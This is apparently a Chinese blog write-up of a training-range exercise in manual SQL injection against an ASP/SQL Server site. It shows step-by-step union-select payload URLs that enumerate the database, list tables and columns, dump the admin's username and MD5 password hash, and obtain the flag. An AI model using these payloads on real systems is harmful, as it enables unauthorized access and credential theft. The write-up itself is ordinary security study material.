如何攻克网站,濮阳网站建设推广,哪个公司搭建网站,wordpress游客评论———靶场专栏——— 声明#xff1a;文章由作者weoptions学习或练习过程中的步骤及思路#xff0c;非正式答案#xff0c;仅供学习和参考。 靶场背景#xff1a; 来源#xff1a; 墨者学院 简介#xff1a; 安全工程师墨者最近在练习SQL手工注入漏洞#…
———靶场专栏——— 声明文章由作者weoptions学习或练习过程中的步骤及思路非正式答案仅供学习和参考。 靶场背景 来源 墨者学院 简介 安全工程师墨者最近在练习SQL手工注入漏洞自己刚搭建好一个靶场环境IISASPSql ServerAspx代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。 实训目标
1.掌握SQL注入原理 2.了解手工注入的方法 3.了解Sql Server的数据结构 4.了解字符串的MD5加解密 解题方向 手工进行SQL注入测试获取管理密码登录。 解题思路 还是老套路测试注入点利用sql语句去找到用户账号信息这个b密码肯定又是md5加密能不能来点新套路抓脸.jpg。
靶场启动我的墨币啊┭┮﹏┭┮望大佬点赞回血。 还是那个熟悉的界面我们点进去关于平台停机维护的通知。
http://219.153.49.228:41966/new_list.asp?id2
整型注入点吗我们先找找Sql Server和MySQL数据库的区别。
SQL Server和MySQL数据库的区别如下
平台支持SQL Server主要支持Windows平台而MySQL则支持许多平台包括Linux和Windows平台。语法SQL Server的语法相对简单易用而MySQL的语法则较为复杂。存储引擎MySQL有多种存储引擎可供选择而SQL Server则仅使用一个或单个存储引擎。备份方式在使用MySQL时开发人员必须通过将所有数据提取为SQL语句来备份数据。而SQL Server在备份数据时不会阻止数据库这使得用户能够备份和恢复大量数据而无需花费额外的时间和精力。性能SQL Server被视为大型数据库稳定且能做一般大系统的数据仓库运行速度明显比MySQL快尤其是海量数据下。价格SQL Server的价格相对较高而MySQL是免费的。可扩展性MySQL在可扩展性方面表现得更好它允许开发人员根据性能更灵活地为表使用存储引擎。社区支持MySQL有一个庞大的开发者社区提供了大量的教程、论坛和资源使得开发人员可以很容易地获取帮助和支持。相比之下虽然SQL Server也有一个活跃的社区但其开发者社区规模可能不如MySQL。
纯套话《国产ai.jpg》我们再找找Sql Server和MySQL数据库在进行sql注入测试时候的区别吧。搜完了感觉除了注释符号不一样MSSQL(sql server) 最高权限是sa其他的大差不差问题不大我们就按mysql的来出现错误了我们再去改。 解题步骤 一、验证注入点
http://219.153.49.228:41966/new_list.asp?id2
对id这个参数进行尝试
http://219.153.49.228:41966/new_list.asp?id2 and 11
ok正常访问试试这个
http://219.153.49.228:41966/new_list.asp?id2 and 12 访问不正常了那注入点就在这里啦苍蝇搓手.jpg 二、order by猜列
http://219.153.49.228:41966/new_list.asp?id-2 union order by 1,2,3,4 昂我们去w3school里面找找有没有相关的注入语句。
哦哦哦哦哦order by 不用联合注入而且只能传入一个参数给忘了。猜列的时候发现只有124显示了页面可能有四个列。 三、检查回显 http://219.153.49.228:41966/new_list.asp?id-2 union select 1,2,4 昂这是怎么了?系统应该是检测这个字符的我们用小葵转换一下编码试试。能行但不完全行我找找其他资料吧。ooo原来是语句不正确。
我们测回显用这个语句
http://219.153.49.228:48244/new_list.asp?id-2 union all select null,null,null,null 我们去一个个给每个null加上单引号。 也可以用order by number
http://219.153.49.228:44214/new_list.asp?id-2 union all select 1,2,3,4
最后把3用字符串表示加了个单引号能正常回显。说明第二和第三列有回显第二列是整型第三列是字符型 四、获取数据库信息 version 获取版本信息
http://219.153.49.228:44214/new_list.asp?id-2 union all select 1,version,3,4 Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 2) db_name当前数据库名字
http://219.153.49.228:44214/new_list.asp?id-2 union all select 1,db_name(),3,4 mozhe_db_v2 user、system_user、current_user、user_name获取当前数据库用户名
http://219.153.49.228:44214/new_list.asp?id-2 union all select 1,user,3,4 dbo SERVERNAME 获取服务器主机信息
http://219.153.49.228:44214/new_list.asp?id-2 union all select 1,SERVERNAME,3,4 MOBAN9527\SQLEXPRESS 五、查数据库表信息
http://219.153.49.228:44214/new_list.asp?id-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtypeU),3,4
sysobjects记录了数据库中所有表常⽤字段为id、name和xtype。
注入语句top 1查询前1条数据name查name字段mozhe_db_v2.dbo.sysobjects当前数据库.dbo.sysobjects系统自带用户xtypeU限定user信息dbo用户创建的表 查询到的是manage表用and name not in看看还有没其他的
id-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtypeU and name not in (manage)),3,4 再看看有没有其他的
id-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtypeU and name not in (manage,announcement)),3,4 没有了。接下来就是根据查到的数据库表信息去查列的信息了。 六、查数据库表信息
我们查到跟dbo有关的数据库表就是manageannouncement了。announcement替你们查过了跟flag没关系。直接展示manage了。
syscolumns记录了数据库中所有表的字段常⽤字段为id、name和xtype。
object 数据库中每个对象都有一个唯一的id值object_id(name)可以根据表对象名称得到表对象的IDobject_id()只能返回当前数据库用户创建的对像的ID。
col_name可以根据id值得到对像的名称而且可以返回指定下标的结果.
/new_list.asp?id-1 union all select 1,(select username from manage),a,4
查询(object_id(manage),1)(object_id(manage),2)(object_id(manage),3)返回的分别是idusernamepassword。 七、查数据
直接从manage表中查就行。
219.153.49.228:47026/new_list.asp?id-2 union all select 1,(select username from manage),a,4 admin_mz 219.153.49.228:47026/new_list.asp?id-2 union all select 1,(select password from manage),a,4 72e1bfc3f01b7583 MD5解密后为97285101
登陆拿到KEY mozhea025436360d9d78553ba4c4a754 总结 难度★★★★☆☆☆☆☆☆ 解析整体难度有点稍高因为和mysql语法有点区别查数据方式也不太一样。好在思路没啥出入。记录一下手工注入流程提高对MSSQL数据库的理解。